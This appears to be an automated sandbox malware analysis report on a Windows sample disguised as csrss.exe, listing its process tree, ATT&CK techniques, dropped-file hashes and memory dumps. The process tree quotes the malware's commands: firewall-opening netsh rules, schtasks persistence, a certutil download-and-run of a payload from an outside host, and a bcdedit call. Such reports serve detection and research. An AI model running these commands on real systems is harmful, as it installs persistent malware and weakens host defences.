  "C:\Users\Admin\AppData\Local\Temp\ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac\57c765cfdfac.exe" enable=yes
      4⤵
      PID:364
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4248
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:432
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      PID:3888
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
ef239eb6a8c5d23334c8a7a813fbd556

SHA1
b4aa99efc4ae0896737649042b43daeaa33efbaa

SHA256
ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d

SHA512
d913c1bca7041a411fdb04031b7b3b1008035c14912058ab2b8619152e7fb8d3928e899d0e4dd6a11fccb590091aed9b1cd8c8ad9792c074e77c7d9387c4704b

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
ef239eb6a8c5d23334c8a7a813fbd556

SHA1
b4aa99efc4ae0896737649042b43daeaa33efbaa

SHA256
ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d

SHA512
d913c1bca7041a411fdb04031b7b3b1008035c14912058ab2b8619152e7fb8d3928e899d0e4dd6a11fccb590091aed9b1cd8c8ad9792c074e77c7d9387c4704b

Download Submit
memory/364-139-0x0000000000000000-mapping.dmp

Download
memory/432-144-0x0000000000000000-mapping.dmp

Download
memory/1064-149-0x0000000000400000-0x000000000281E000-memory.dmp

Filesize
36.1MB

Download
memory/1064-147-0x0000000004A00000-0x0000000004DA6000-memory.dmp

Filesize
3.6MB

Download
memory/1064-140-0x0000000000000000-mapping.dmp

Download
memory/2132-133-0x0000000000000000-mapping.dmp

Download
memory/2132-134-0x0000000004463000-0x0000000004809000-memory.dmp

Filesize
3.6MB

Download
memory/2132-137-0x0000000000400000-0x000000000281E000-memory.dmp

Filesize
36.1MB

Download
memory/2492-148-0x0000000000000000-mapping.dmp

Download
memory/3888-145-0x0000000000000000-mapping.dmp

Download
memory/4248-143-0x0000000000000000-mapping.dmp

Download
memory/4364-138-0x0000000000000000-mapping.dmp

Download
memory/4384-136-0x0000000000000000-mapping.dmp

Download
memory/4416-135-0x0000000000000000-mapping.dmp

Download
memory/4828-130-0x00000000047D2000-0x0000000004B78000-memory.dmp

Filesize
3.6MB

Download
memory/4828-132-0x0000000000400000-0x000000000281E000-memory.dmp

Filesize
36.1MB

Download
memory/4828-131-0x0000000004B80000-0x0000000005275000-memory.dmp

Filesize
7.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads